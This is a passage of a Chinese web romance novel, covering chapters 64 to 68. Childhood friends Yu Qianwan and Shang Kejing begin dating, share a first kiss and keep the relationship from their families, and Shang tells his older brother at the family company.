误会解除,虞千绾不会再把这事记在心里,她依旧是信任他的。 但一想到周松泠那样的人物都痴痴喜欢他这么多年,她委实没忍住掐了掐商恪景的脸,颇有几分感慨,“明明你和周松泠的事我不是第一次听你说了,但以前不知道那个人是周松泠,不知道周松泠喜欢你的时候,只想的是那个女生家长怎么就那么容不得一只狗狗,非得让女儿送走,弄得一个女孩子大雨天的抱着狗狗在离学校那么远的地方走着,怪可怜的。现在知道周松泠的感情,从她的角度想想,喜欢上你也太正常不过。当年的你应该就是她在暴雨天遇到的一场及时雨吧?人好皮囊也上等,怪不得惦记这么多年。” 商恪景听着虞千绾这样说话,心里很不是滋味,他偏首佯装恶狠狠咬了下虞千绾的手指,实则没用什么力,忿忿低哼,“你还挺能共情别人。” 虞千绾歪了歪脑袋,故作俏皮,“我就是很通情达理的小女孩呀,要不是我事先不知道那个女生就是周松泠,怎么可能听到蔺凌晓说起以后那么生气?我生气的点在于,我以为你和别人有了秘密,没有像我这样全都不隐瞒的告诉你。” “真的?只是生气?不是吃醋?” 虞千绾本想下意识否认的,但想想他们现在这关系承认也没什么,偏又有些要面子,于是她用拇指指甲掐住尾指的一小小小段,“顶多……就这么点。” “是吗?” “是。” “我忘记告诉你了,有个女生天天给我送奶茶。” “商恪景!我就知道,你就是个祸水!” 虞千绾语调骤变,多一秒都装不了,哪还有刚刚的大度样和小拇指的那一点点点。 商恪景瞬间失笑,“逗你呢,不是很通情达理的小女孩吗?” 学着她比出小拇指前端,“不是就这一点吗?” 虞千绾忿忿双手环胸,那股子和他相熟多年互相对抗的劲又上来了,气呼呼的眼神想到什么忽变,她噙上明晃晃的坏笑,探身和他平视,“商恪景你信不信,我说两个字,你就会破防?” 商恪景笑容瞬间淡了。 “一个人名。” 虞千绾没想到他会那么快想到,还在提醒。 结果下一秒,下颚就忽被商恪景两指衔住,她的脸颊和身形毫不设防的就被带过去,整个人都跌到了他怀里。 她的脸被他有力的长指控着挑起,和他之间仅有毫厘,呼吸又开始交织混乱。 他冷着张脸,有些凶有些强势,但说出的话又莫名让人很爽,“虞千绾,你以后再敢提这茬,我就要吻你了。” 第65章 第 65 章 “女朋友跟我这么见外吗…… 两个人尚没适应新身份的转变, 之间的腻歪总是一阵一阵的。 只要破冰挨在了一起,那拥抱、触碰就是很正常的行为,可若是没那暧昧氛围,他们就不太好意思突然去抱住对方或是说些亲昵话。 面上一会儿热似火一会儿甚至比作为朋友时还要再生疏几分, 但心持续是灼热的, 面颊的温度也持续略高于寻常染着些淡淡粉泽。 归家时, 他们的奶茶已经被外卖员安静放置在家门口了, 但火锅还没到。 商恪景弯腰提起, 跟在虞千绾后面进了她家。 低头换鞋的时候,虞千绾瞄了眼商恪景手上提着的奶茶袋, 原先点奶茶时理所当然想象的画面真到实践时才意识到很有难度。 他们毕竟还没有真真正正的接吻过, 只是吻脸颊而已,她如果用吸管喝了奶茶后再把奶茶丢给他喝, 好像有些过于亲近了…… 可要是再像之前那样倒到另外一个杯子里,又过于生疏了, 也挺奇怪的。 虞千绾一时间不知道怎么做才好, 索性换完拖鞋后就装傻先往卧室回,将这个对她来说有些棘手的问题丢给商恪景,“我去换身睡衣。” “好。” 进卧室前,虞千绾故作不经意地瞟了眼商恪景, 他将奶茶袋放在了茶几上, 顺势坐在沙发,上身微微前倾拆着包装。 不好长时间盯下去,容易暴露心思露馅, 虞千绾只得推开卧室门进入换衣服。 再出来时,商恪景已经半靠在沙发上玩手机了,茶几上摆放着的两杯奶茶都插好了吸管, 奶茶外壁不是透明的看不到里面的奶茶有没有减少,但白色吸管很干净,应该是没喝过也没往外倒过的。 听到开门声,商恪景抬眼望向虞千绾,手机跟着摁灭放下。 他坐起身,左右手各拿起一杯奶茶,本都记好了但又怕弄错,左右扫了眼奶茶外贴着的标确认,而后把她第一次点的奶茶递过去,“尝尝看好不好喝。” 虞千绾正好走到他面前,眉眼噙笑接过。 商恪景就这么递过来,她自然无需再忸怩着让他倒到杯里,樱唇含住吸管喝了两口。但因有前车之鉴,这一次虞千绾唇瓣尽可能放轻,尽量不让口红沾到吸管上,可还是有层很浅很浅的薄红覆了上去。 没她想象的好喝,但也不难喝,就是个很一般的口味。 虞千绾在商恪景身边落座的同时倾身去拽了张抽纸,刚欲把吸管上沾到的那点口红擦掉,商恪景的手却径直从侧伸了过来自她手里拿走了奶茶,跟着把另杯奶茶放到她的手上。 他就这么迎着她的视线毫不在意的含住她刚刚含过的吸管,连喝了好几口,“女朋友跟我这么见外吗?” 虞千绾一时间有些语塞,也有些别扭的咕哝:“你好像……很快就适应了这个新身份。” 她尚没法做到他这么自然。 “惦记了这么多年,当然要争分夺秒享受新身份。” 商恪景嘴上这么说,可当朝虞千绾挨近提出需求的时候,声音明显轻了些,也是没那么自如的,“……我尝口你的呗?” 虞千绾将自己还没喝过的奶茶伸到他面前,商恪景心满意足喝了一小口,“没你喝过的这杯好喝。” 虞千绾羞愤打了他一下。 “打我也是这杯好喝。” 虞千绾难为情,直接低头抵在了他胳膊上不去直视他。 商恪景稳稳撑住她的脑袋,低声笑着。 这样的小互动让空气都仿佛变得浓稠起来。 喝了些冰饮,饥饿感有些被唤醒。 虞千绾在这样的氛围下较能做出些亲昵动作,何况她本来就挨在他胳膊上,脑袋微动就换成下颚搭在他大臂处,“好饿,火锅还有多久?” 商恪景顺势揽住她肩膀,把人儿半搂在怀里,让他们之间的距离更近。 他微微倾身把奶茶放回茶几上,然后再拿起手机和她一起看火锅的配送进度,“快了,五分钟内。” “……嗯。” 刚谈恋爱的人就是这样,享受腻腻乎乎贴在一起的时光,多久都不嫌无趣。 商恪景一主动,虞千绾也就伸出一只手环在他腰上。 他们静静拥了一分多钟,虞千绾抬起些小脸,微仰着看向商恪景,小声询问:“咱俩的事……你有打算什么时候跟家里人说吗?我觉得我们需要商量一下,不然以他们的交往频率,估计一方父母知道另方很快就知道了,所以还是商量好同时间跟家里人说比较好。” 眼睑轻颤,商恪景垂眸看她。 虽然是男女朋友交往的正规流程,但听着她提出,还是有些美满的像是做梦。 喉结轻滚,商恪景抬指又覆上了虞千绾的面颊,以指腹下的温润触感去缓解吻她的躁欲,“……才刚在一起,光顾着高兴了,还没想到这。” 虞千绾弯眼笑了笑往商恪景怀里依偎得更深,下半张小脸都陷在他身前,一双潋滟的湿漉漉的美眸望着他,“我也没有想很多,就是怕你先说了我后说到时候我爸妈从你爸妈那听说肯定要跟我不高兴,怪我没提前说。” “但我还没想好具体的时间。毕竟想想以前放出去的那些话,有些不知道怎么开口,感觉好尴尬呀……” 虞千绾面露些惶窘,汗颜道:“我爸妈之前有问过我和你之间的关系,我当时可肯定可笃定了,一直说咱俩没可能的,还怪他们多想多问的,结果现在……” 曾经那些感到刺痛的话语和情形,现在听着虞千绾就伏在他怀里说出,商恪景再不会感到难受,反倒也有些懊悔的很能共情道:“可不嘛,我还曾经不满爷爷乱点鸳鸯谱在饭桌上那么生硬的回话,你爸妈肯定都听到耳朵里当真了,结果现在……我又把他们宝贝女儿抱在怀里,叔叔阿姨会不会觉得我这人没有担当?明明喜欢却不敢认?” 商恪景感觉自己的情况比虞千绾糟糕好几个程度,她那话是单独朝她爸妈说的,而他是在那么多人的饭桌上,她的亲人全都在…… 虞千绾觉察到他的紧绷,忽然自己就没那么紧张了,轻笑声安慰,“我爸妈可喜欢你了,他们要是知道我们在一起肯定很高兴的。在他们眼里,我们两家知根知底、门当户对,我们俩的性格又很合得来。” “他们很信任你,估计知道以后只会笑话我,问我之前不是说不喜欢你吗?怎么突然又变了。肯定不会对你有什么意见的。” “所以是为什么变了?” “呀!商恪景。”话题转得太突然,虞千绾脸颊瞬间又埋了下去,陷在商恪景怀里,只留一双圆溜溜的眼睛忿忿又泛着涟漪的嗔着他。 “我真的很好奇,是从哪一刻开始喜欢我的?” 商恪景笑着伸手试图把她的脑袋扒拉出来,虞千绾死活赖着不出来也不吱声。 商恪景反复问了好多次,黏人的亲了她脸颊好多次,说了好多遍爱她,她才终于温吞吞开了口,“我不知道……其实一开始我也稀里糊涂的,最初意识到对你的不一样应该是我拔完智齿易辉卓过来的那天,我发现我没有办法像对别的追求者那样对待你。后来也晕晕乎乎的不是很能分辨清楚,我就知道,跟你在一起的时候会高兴,用理智控制着想要推开你,不联系你的时候,我会不适应。” “今天,我特别清醒的意识到是因为——以前从别人口中知道谁谁谁对你感兴趣,我第一反应是八卦,然后跟你聊天的调侃,可中午从蔺凌晓娜听到的时候……” 虞千绾顿了顿,声音轻了很多,“心里酸溜溜的……一点探知欲都没有,就气你怎么没有事先告诉我。” 商恪景鼻息微微沉了些,拇指指腹依恋的在她眼尾抚了抚,“我本来以为听到你说这些会很开心的,但听着……我心里也酸溜溜的。” 追求她的时候,他已经用着尽可能迂回日常的法子了,就怕让她感到压力感到难受,可还是让她有过负面情绪。 虞千绾却是在想,“一定很难熬……” “之前那些年,我没有觉察到你感情的时候。” 她轻缓动了动被商恪景托着的那片脸颊,在他掌心蹭了蹭,仿佛在试图抚平那些年的创伤。 相爱的两个人互相心疼。 商恪景反倒笑了笑,“那没什么,本就是追求者该经历的过程。” 他紧紧搂着虞千绾的腰,“起码现在,你在我怀里,是我女朋友。” 虞千绾笑容不自觉堆起,视线在他的面容到处流转、观察,手指似感到新奇的在他脸颊轻轻戳了戳,“好不一样的商恪景呀……” 是她和他做朋友这么多年来都没有见过的商恪景。 “嗯,只属于你的商恪景。” 虞千绾登时面红耳赤,有些受不住他突如其来的情话,一手捂住他的眼睛,另手捂住他的嘴巴,咯咯笑着。 商恪景凭靠着记忆低下头去凑到虞千绾肩头也笑。 对于陪伴、行动高过语言的多年青梅竹马来说,乍然的漂亮话让两人都有所不适应。 但商恪景认为,他该主动迈出来。 门铃声叫停了他们的笑声,虞千绾赶紧把商恪景的脑袋从自己肩头捧起来,“快去开门拿火锅,饿死啦。” 他再不离开她身边,她都要被甜蜜冲晕了,急需推开他冷静冷静。 商恪景听话直起了些身,谁知却在起身离开沙发的时候猝不及防杀了个回马枪,霍然在虞千绾脸颊亲了口。 虞千绾本就要不行了,这下彻底装不下去,双手捂面,脑袋瞬间低垂下去,额头都抵到了膝上,羞到抬不起头。 得逞的商恪景喉间没耐住漾出声笑,又委实被她可爱到,大手在她发顶揉了揉才去开门。 虞千绾很少有这样羞臊的情绪,恋爱一天的羞臊浓度却好像比她之前那么多年加起来都要多。 她自觉没出息,拼命以手在面前扇着风给自己滚烫的面颊降温,强迫着自己冷静下来。 商恪景耳根子也挺烫的,但或许是天生的,他没那么容易上脸,不会像虞千绾似的脸颊红成那样。 现在的两个人一对视就会破功发笑,不对视心里也甜丝丝的。 持续太久的他们顿觉心脏有些招架不住,吃火锅的时候又太饿光顾着吃饭,双方终于老实了些,都没什么逾矩的动作。 期间,他们继续将刚刚没个定论的话题——什么时候告诉家里人恋爱的事又聊了聊。 最后决定还是先等等再说,他们现在自己都还没适应,乍然告诉家里又得面对一大堆揶揄更是手忙脚乱,不如先顺应发展,等到时机恰当再提,也不急于一时。 第66章 第 66 章 那枚吻,落在了他的唇上…… 一顿火锅, 两人足足吃了两个多小时。 起初是吃得认真,后来是聊得认真,直到锅里的油凝固得越来越多,他们才正式结束这顿饭。 吃完火锅的桌面略显狼狈, 商恪景单手解开另侧袖扣, 将袖口朝上折了折又捋了捋, 露出精壮有线条感的小臂。 他起身时自觉伸手就要去收拾残局。 “诶, 你就放这不用弄。” 虞千绾叫停他, “明天阿姨过来会弄的,现在这季节放一晚也没什么。不早了, 你快回去睡觉吧, 明天一早还要去上班呢。” 毕竟他们的工作模式不同,她迟睡可以迟醒, 他不行。 “没事,我简单收拾一下, 碗筷留给阿姨洗。” “别呀, 你回去还得洗澡呢,再耽搁估计都睡不满六小时了,明天会很困的。” “不麻烦不会耽搁很久的,顺手就弄了。” 虞千绾见商恪景皙白的手指被碗边的油渍弄脏, 总觉有些暴殄天物, 她伸手强制性攥着他小臂不给他继续,还故意夸大话语让他背上口大锅,“商恪景, 才交往你就不听我的话吗?” 果然,听到这话,商恪景手上力度一松, 彻底不打算继续了。 他侧目似笑非笑地看着虞千绾,须臾发出声无奈且没辙的喟叹。 虞千绾唇角也有些闷不住想上扬,但竭力憋住,“别这么看着我,装可怜也没有用。我是担心你明天去工作状态不好,不识好人心。” 身前一米八八的男人忽然就压了下来,饱满暖乎的额头抵靠在她颈侧,酝酿了一会儿才略有怨言的轻轻出声,“……嗯,你光知道好人心,不知道男人心。” “我现在也挺累,并不想收拾打扫,可我想借此在这多待待,多看看你,多和你说几句话……” “我又不傻……我当然感觉到了。” 这就是最适合刚交往的他们的相处模式,不看着彼此就能更轻易地说出心里话,虞千绾眼睫轻眨,温吞吞添上句,“我也想和你在一起多待待呀……可我知道如果我不提你不会提的,我这不是心疼你嘛,知珩哥本来就给你安排了很多工作,你精力充沛的时候都嫌累更别提睡不好觉了。而且,我们的时间还有很多。” 她的话就像是带着电流的涓涓细流,温润有力,且能扫去商恪景的疲惫,能为他‘充电’。 商恪景就这么在她馨香的颈窝间埋了半分多钟才抬起些头,但身形依旧是微微弯着的,同她直视的。 她的眼睛是那样澄澈那样漂亮,像猫咪的眼睛,水汪汪的两颗玻璃珠,商恪景很容易就被吸引进去深陷,喉结无意识间滚动。 再开口,他声音低哑了些,“再亲我一下好不好?亲完……我就回去了。” 她就亲了他一下,其余的那些亲亲都是他在主动。 商恪景还想再体验一下。 虞千绾眸波泛起了更甚的涟漪,她本近距离看着商恪景眼睛的视线因他这话缓缓下移,定格在他因为吃完爆辣火锅而比之寻常更显红润性感的唇上。 身前人儿有倾身靠过来的趋势时,商恪景微微侧过了脸,方便让她亲到他的脸颊。 可那枚吻,转瞬就落在了他的唇上,目的性极强,在他的唇分明移了位的情况下还准确无误地贴了上来。 很轻柔很猝不及防的一下。 商恪景顿时就像被钉在原地,四肢百骸都僵住,动弹不得。 虞千绾倒是灵活,她转身就跑了,头都不敢回,不敢看商恪景一眼。 脚下生风般迅速钻回了卧室,只匆匆丢下裹着风含着羞的两个字,“晚安!” 虞千绾就靠在卧室门后,双手捂在鼓噪的心口,眼睛睁圆,檀口微张着喘息,两颊都飞着粉霞,面若桃花。 越想着自己刚刚干的事,虞千绾越感到羞臊,她突然很想大叫一声缓解一二,偏偏商恪景还没离开,她连声音都不敢出。 屋外静了几瞬终于响起商恪景的脚步声,结果他不但没离开,那脚步声还在由远及近。 虞千绾的心登时都提了起来,手指立即从内抵住了门把手,身形也更用力地压在门后,她不好意思这时候见到他,不知道怎么面对他,便不想让他进来。 现在的她都不知道刚刚的自己是哪来的勇气。 脚步声就像是踏在心脏上,越行越近,心脏也跳得越来越快。 直至步伐停下,她清晰感知到,他们之间就隔着门板,她的呼吸都在变浅,生怕他也觉察到她的位置。 谁知—— “晚安,女朋友。” 门外只传来了这么一句话。 商恪景再没过多的话语和动作,在她的卧室门口驻足了几秒钟便离开了。 家门开了又关。 虞千绾几乎在听到关门声的那秒就没再忍住,齿间外溢着羞耻的低啊声,但又不自觉回味着唇上的触感和温度。 家外。 商恪景虽然已经关上了虞千绾家门,但手还持在把手上,另手则曲着食指触在了唇上,比虞千绾还要直白的回味着刚刚那突如其来的滋味。 发生的太快太突然,商恪景在那当下其实没有感觉到太多,更多的是后知后觉。 后知后觉跟随空气一同自面前袭涌上来的女孩子的体香,后知后觉的柔软唇瓣,后知后觉的清甜,后知后觉的躁乱悸动…… 走廊的灯太久没听到声音自动关闭。 视线陡然昏暗,商恪景才从其中拔出些,眷念的将手缓缓从门把手拿开,步伐一沉一飘的艰难回到自家门口,打开进入。 商恪景在自家门后又阖眼靠了会儿,晚上见到她后的一帧帧在脑海里反复回放。 夙愿得偿,美梦成真,欣喜之余他有些不敢相信,低头摁开手机点入精确到秒的时间查看,秒数的每一次跳动才仿佛在证明,这一切都是真实发生过的,并且会持续发生的。 商恪景好不容易觉得自己缓过来了些,换了鞋踏出玄关去洗手间冲洗自己收拾碗时弄脏的那根手指。 简单一个洗手的动作,商恪景却在视线扫过腕间的时候想,这是虞千绾那会儿攥过的。视线扫过镜中的自己时,视线更是径直定格在唇上——嗯……这是虞千绾吻过的。 他又不自觉陷在思绪里,满脸春色怔怔望着镜中。 直到兜里的手机震了下,他才如梦初醒,低笑声收回视线,擦干手指去拿手机查看。 是来自虞千绾的一条微信,一条三秒的语音。 商恪景点开,听到女孩明显在撒娇的声音隔着电流柔柔的传到他耳中,泛起阵阵痒意——“早点睡……男、朋、友。” 鼻息间漫出明爽的笑音。 商恪景不禁抬臂挡在眼前,他忽然有些眩晕。 今天这觉,怕是彻底没法睡了。 作者有话说:不好意思宝们,来月经了腰酸背痛的不太舒服状态不好,所以今天更新少一点[求你了][求你了] 第67章 第 67 章 爱情的强大 一条三秒钟的语音, 商恪景却噙着笑反反复复点击播放了不知多少遍。 思绪本就活络着,耳畔又持续回荡着她的声音。 这一晚,商恪景不出所料的没睡好,堪堪睡了四个小时就被闹铃吵醒。 但在摸过手机, 眯着惺忪的眼顶着发沉到快要又压实的眼皮迷迷糊糊抬指点下那段三秒的语音条, 听到虞千绾的声音时, 他混沌的脑袋骤然就清醒了不少。 身体虽然还倦着, 但鼻息间浅浅溢出声轻笑, 周身的疲惫感都褪去许多。 商恪景将脸埋在枕头里静静趴了两分钟休缓,思绪渐渐没那么混沌了才起身下床洗漱准备去上班。 往洗手间走的途中, 他就第一时间给虞千绾发了微信—— 【女朋友, 我起来咯】 【睡觉梦到你了】 跟着,商恪景发了个大狗狗用脑袋小心翼翼拱小猫咪的表情包。 虞千绾显然还在睡着, 对话框那头毫无动静。 商恪景深知这点,他发消息也没想得到她的答复。 他只是单纯的想要给她发消息, 如此就能让他产生难以言说的幸福感。 站在洗手台前刷牙的时候, 商恪景右手拿着牙刷,左手举着手机,眼睛持续看着和虞千绾的对话框。 到底没忍住,摁下【想你】两个字发出去, 又发了几个表情包, 一方面是真的想给她发消息,另方面是做梦那条消息过于腻歪……恋爱尴尬期不可能这么快就度过,他越看越不自在越看越觉得油腻, 就像是和人搭讪时说“我们是不是曾经在哪见过”那般拙劣,跟假话似的。 脑海里忍不住代入昔年和虞千绾的相处状态,感觉她看到这句话的时候一定会嘲笑他, 于是几番犹豫商恪景还是决定撤回,但迟了一步,已经过了撤回的时间,他便只能眼不见为净,借由表情包给刷上去- “商总,小少爷正在您办公室里等您。” 商知珩刚到总裁办,秘书就上前来告知他。 商知珩疑惑抬了抬眉,从西裤口袋拿出手机看了眼,并没有商恪景发来的消息,“陶助理那边有说什么吗?他工作有没有出什么问题?” “没有。” “行,我知道了。” 商知珩将手机重新抄回口袋里,步伐迈大前往办公室。 商恪景刚来集团那几天还挺爱往商知珩办公室跑的,时不时跟他发几句牢骚,或者说些有的没的。 但商知珩不是个话多的人,他尤其不喜欢在工作的时候来人打扰。面对唯一的亲弟弟,商知珩给商恪景的容忍度已经很高了,但也就持续了三天。 后续,商恪景再在工作时间往商知珩办公室跑的时候商知珩就开始给他加工作量,几次一弄,商恪景就不来了。 今天却一大早就跑过来,比他上班还要早。 商知珩不知商恪景具体想干嘛,但直觉不太妙。毕竟是亲弟弟,不禁担心忧虑。 但办公室的门一推开,商知珩那些情绪就瞬间烟消云散。 因为商恪景满面春风,精气神极好,好心情由内而外的散发着。 商恪景正坐在商知珩的办公椅上,整个上半身都舒适慵懒的后靠在椅背上,双手放置在腹前,长腿交叠,踩着地的那只脚时而微动带动椅子从而使得身子也跟随椅子左右轻晃。 一副悠哉悠哉的惬意样。 他半阖着眼,也不知道在想什么,出神得厉害,连开门声就没听到,不过唇角持续勾着笑,像在畅想着什么美事。 直到—— “咚咚咚。” 商知珩站定在自己的办公桌前叩了叩桌面,商恪景听到声响这才回过神来,睁开眼睛看向他,笑眯眯地喊了声“哥”。 “什么好事?一大早就过来找我。” 商知珩身形微侧,倚靠在桌边。 “你猜。” 商知珩想了想,微笑着摇了摇头,“猜不到。” 虽然自家弟弟一向是个很乐观的好性格,但能让他欣喜成这样的事,商知珩想不到几件。 “我——” 商恪景站起身,凑到商知珩面前,故意卖关子,丢出前面一个字后顿了好几秒才道:“和千绾在一起了。” 再多几秒,急的人也不会是商知珩,而是商恪景,他急需找个人分享这个好消息,根本一刻都等不及,但他和虞千绾昨天都商量好了一致认为这时候还不到让爸妈长辈知道的时候,于是哥哥就成了最好的分享倾诉对象。 商知珩确实意外于这个突然的消息,也很替商恪景高兴,这么多年,他深知弟弟有多喜欢虞千绾。对于虞千绾,虽然他们没有血缘关系,商知珩也从心把她当妹妹。 最在意的弟弟妹妹在一起,他由衷为他们感到欣慰,也相信以他们俩的性格可以将这段关系持续下去很久很久。 但商知珩就是这么个人,即使心里已经为他们万般感慨万般庆贺,可面上看起来依旧没有太大的波澜只是眼神柔和了些许。 他抬手,拍了拍商恪景肩膀,主动提出,“要不要放假几天?回去陪陪千绾,就当我这个做哥哥的单独给你的恋爱假。” 商恪景愕然于商知珩的话,虽然他很蠢蠢欲动,但还是很快就拒绝了,“不了哥,我才来永誉多久啊,刚找到些工作状态就请假休息还不知又要有多少流言蜚语。而且我起初就是想要跟上她步伐才来的永誉,现在跟她在一起了,我更要好好努力了,得让虞叔和贝姨都知道我也有沉稳的一面,放心千绾和我交往。” “你已经成长了,以前的商恪景听到放假估计早冲出集团大门了。” 商知珩笑着说,商恪景闻言也笑,“我现在也想冲出去回家陪着千绾,但总不能回去以后看着她工作我却无所事事,我们早不是小时候只靠着陪伴就能高兴的小孩了,何况那时候我们的世界里还有上学这件事呢。” “不过哥,这个恋爱假我确实挺需要的,但你能不能给我换个方式?” “怎么?” “就有些工作也不是非坐在办公室里才能做,我回家用电脑一样可以处理,以后你能不能让陶助理别跟老师似的一类任务一类任务安排给我,我想事先都知道清楚,然后在工作时间如果忙完了必须和人对接沟通的工作后,其余能单独弄的我就带回家去做,正好千绾的工作也是自己在家处理嘛,我回家可以和她一起办公。我保证,我该完成的工作肯定会好好保质保量完成,不会因为回家就胡来,我要是后面这样,哥你可以依旧让陶助理盯着我做完所有工作再给我回家。” 这段时间商恪景的表现,商知珩都有从陶助理那知晓,而且今天商恪景的眼神有所不同,恋爱后的他不仅更爱笑也更坚定认真了。 商知珩很快就应下,“行,我信你会做好,但你回家后还是老规矩,做完的工作第一时间发给陶助理,他看完以后说没问题,你再该交给谁交给谁,不要自己觉得没问题就交了上去。” 他们这个出生享受了太多,该承受的自然也比别人多些。 即便是沉稳如商知珩,在刚进永誉的时候也犯了不少错事,有大有小,虽然当时都有父亲为他兜着,旁人也不会敢当面说什么,但说到底就是个二十刚出头的年纪,旁人的一个眼神一句闲话或许不算什么,但若是乘以十倍百倍千倍呢。人之所以是人不是机器,便是会有情绪的起伏,没有人可以做到丁点不顾及周遭社会,因为人生来就活在社会中。 所以商知珩尽可能的,想要保护好弟弟一颗热忱的心,他也不想听到旁人说他一句不好,即便弟弟真的做错了。 “好!” 商恪景笑得粲然,立即就拿起手机,手指在上面敲击着,“我得赶快告诉千绾这个好消息。” “对了哥,我和千绾交往的事你先别往外说啊,尤其爸妈和爷爷奶奶他们,我们才刚交往自己还在适应期呢,跟他们说了怕又有一堆事应付不来,打算缓缓再说。” “知道了。” 商知珩看着他陷在恋爱里的模样,视线短暂恍惚了一瞬,手指轻轻在桌边剐蹭了下,平声问:“你和千绾最近有和苏旎联系过吗?再过过也就要过年了,爸妈最近都挺惦记她的,不知道她今年回不回来。” “这个我倒不知道,上次跟旎旎姐联系还是她得奖的时候,她那会儿就说等她回国一起庆贺来着,但没说具体时间。” 商恪景发完消息,抬起头,商知珩正好垂眼“嗯”了声,两人眼神错开,商恪景没能看到商知珩眼里少有的空寂。 “那哥我先回去忙工作了!不知道今天必须完成的任务重不重,我得赶快把需要合作的那些弄完,晚上尽量准点下班回去找千绾。” “好。” 现在的商恪景斗志满满,一路快走带小跑的回到自己的办公室,打起十二万分精神对待工作,任谁看都看不出他凌晨就睡了那么点时间。 陶祺宇很快就收到了商知珩助理那边发来的消息,改变了原本带商恪景的模式,把那些他陌生的较少接触的都安排在集团里面对面教学,其余那些他已经相对来说熟悉的或者不难只是耗时的工作都交由商恪景晚上带回去做。 看到商恪景今天分外认真的工作态度后,陶祺宇还以为是一个猴一个拴法,商总找到了培养小商总最好的法子。 哪知道,就在陶祺宇教完商恪景问询的一个点准备回自己的位置时,商恪景突然叫住他,笑眯眯说:“陶助理,我谈恋爱了,昨天刚交往的。” 陶祺宇:“?” 他什么时候问了吗?他没问吧…… 但看着商恪景的笑容,陶祺宇瞬间也配合着展露出一个更灿烂的笑,“那真是恭喜您,虽然我没有见过您女朋友,但想想就知道肯定是郎才女貌、天生一对。” 听到这话的商恪景无比满意,又燃了几分斗志去继续工作了。 陶祺宇这才意识到,哪里是商总手段高超,原来是爱情的强大。 第68章 第 68 章 某种难忍的戒断反应 虞千绾睡醒的时候已经快到正午。 她拿起手机看到微信置顶红点点里显示的未读消息数量都被惊笑了——86。 虽然基本每天她睡醒都能看到来自于商恪景的未读消息, 但极少看到这么多条。 即使还没点入聊天框,光是看着这个数字,虞千绾就感觉到了好多好多惦记。 刚睡醒本身就有些迷糊,再被初尝恋爱的甜蜜这么猝然冲击了下, 虞千绾格外直挺地躺在床上, 脑袋一歪, 双手抱着手机放在身前, 满脸都洋溢着幸福, 嘴里时而还会发出几声愉悦至极的笑。 要不是想赶快知道商恪景给她发了什么内容,虞千绾还能陷在自己的世界里边回忆往昔边幻想未来良久。 商恪景发来的消息和以前大致差不多, 毕竟他们太熟, 联系太密切,即使关系变得更亲近些, 商恪景也很难在这方面再做得细致,但在表达上和之前明显不同。 他提了好几次【女朋友】这个字眼, 还在一堆消息里暗戳戳又明晃晃地发了一个亲亲的小表情。 但最让虞千绾开心的还是得知他晚上可以准点下班的消息, 即便是待在一起工作也高兴,那样他就可以持续在她的视线里。 虞千绾先把商恪景的消息全部看了一遍才回了个【我醒啦】,还不待她挨个引用回复,手机突然就弹出了语音申请。 虞千绾登时坐起了身子, 清了清嗓。 明知道只是语音, 他看不到自己的模样,但接通语音的时候还是不自觉用另手捋了捋睡的凌乱的头发。 语音连通,但两人谁都没先开口, 呼吸也都放得很轻。 只是如此,虞千绾胸口的粉红泡泡就已在滋生,笑意也加深, “……怎么现在给我打电话?不是还没到午休时间吗?” 她声音很轻,还带着刚睡醒的哑和面对心上人的娇。 “嗯,但想听听你的声音。” 商恪景声音也放得很轻,但和虞千绾因为羞敛才放轻的声略有不同,他是怕被人听到。 此刻,商恪景就站在办公室的落地窗前,一手持着手机,一手在唇前拢着声。 而陶助理,就在身后另侧的办公桌办公。 陶祺宇还能怎么办? 这毕竟是集团的二公子,才刚来实习就配有独立的办公室和他这个在永誉干了多年的助理,就算明目张胆地摸鱼,他也只能睁只眼闭只眼装没看到。 商恪景心里有分寸,他不会太放肆,和虞千绾通了两分钟不到的电话就挂断了。 他和虞千绾恋爱24h都没到,委实想她想得厉害,不听听她的声音难以压下他内心的躁动。 要不是京大离商业圈太远,一来一回午休时间都不够,商恪景中午定然会乘车飞奔回去抱一下虞千绾,即便只是看一眼也行。 在大一至大三的三年内,虞千绾和商恪景基本只要一放假就会回别墅区住。 但今年放假好一阵他们却默契的提都没提,理由很简单,如果回别墅区的话,他们之间的距离就会远一些,不能一推开门就是对方的家。尤其前段时间商恪景还处在追求阶段,和虞千绾之间还有着微妙的距离感,他本就在找各种理由靠近她,要是搬回别墅区来来回回更难找借口。 哪知现在,住在京大旁倒造成了距离上的阻碍。 挂断电话的时候,手机突然就变得冰冷,商恪景无声喟叹,暗暗想该挑个时间和虞千绾商量商量回别墅区住的事了。 别墅区虽然离永誉集团也不是很近,但比起去京大的车程可以省下一半的时间,这样不仅他晚上下班能早点回家看到她,中午准时完成工作的话紧赶慢赶回去也能跟她一起吃顿午饭。 京市寸土寸金,商业圈尤其。 所以离商业圈近的住处少有别墅区,一方面是面积太大现实不允许,另方面是价格太贵,大多数人都承受不起,对标的只能是高层,但高层不缺钱选择太多,开发商轻易不敢赌。 不过在多年前,商业圈尚未如此分明的形成时,距离中心约莫15分钟车程的一处建有三层小户型别墅区,空间比起正常别墅区肯定要小些,也没有宽阔的庭院,但一家四口住在其中还是绰绰有余的。 虞千绾和商恪景家里都在那有套别墅,那会儿集团还是他们爸爸掌权,他们和哥哥姐姐都尚未成年,两家人在那住过好些年的时光,后来虞昭音和商知珩读完高中出国读大学,回国后就进到自家集团工作,虞千绾和商恪景也高考完离家去了京大附近住下。小辈一点点长成,长辈们也就逐渐过上提前退休的生活,将产业交给下一代,自己也挑了个环境好的宜居别墅区居住,两家在那的小别墅便都空了下来。 直到商知珩接手永誉的第二年,他本身就是个工作狂,其次对居住条件没有那么高的要求,嫌在车程上花费太多时间便独自搬了回去。虞昭音则更注重环境和舒适性,加之她还有个孩子,便挑了个距离虽然远些但住着更闲适的地点。 于是虞千绾家的那套小别墅现在还空着,商恪景家的则由商知珩一人住着,商恪景来工作后,商知珩有跟他提过,让他如果工作太晚嫌累可以回来住,午休也可以去,但商恪景一次都没去住过,因为惦记着虞千绾,一天见不到都不行。 如若商知珩没搬过来住的话,这里的住处其实是最适合商恪景和虞千绾的,几近极限的缩短了来往路程时间。 但商知珩住了,商恪景总不能天天在哥哥眼皮子底下跑去和虞千绾腻歪,届时虞千绾肯定也感觉不自在,她也不方便来他家。他更不能像以前那般很自然的和虞千绾提说住在她家的客房,作为朋友的他们可以住在一个屋檐下但不同房,可现在的他们不行。 最终,商恪景只能退而求其次选择稍远些的别墅区。 但晚上下班回家一看到虞千绾,商恪景完全把这事抛诸脑后,只记得紧紧抱着她,嗅着她的气息,以此抚平一天没见到她的渴求,就像是某种难忍的戒断反应。 再想起这茬是在洗漱完后躺上床周遭静悄悄一片的时候,商恪景突然又不是很想和虞千绾商量搬家的事了,他有些眷念住在这的时光。 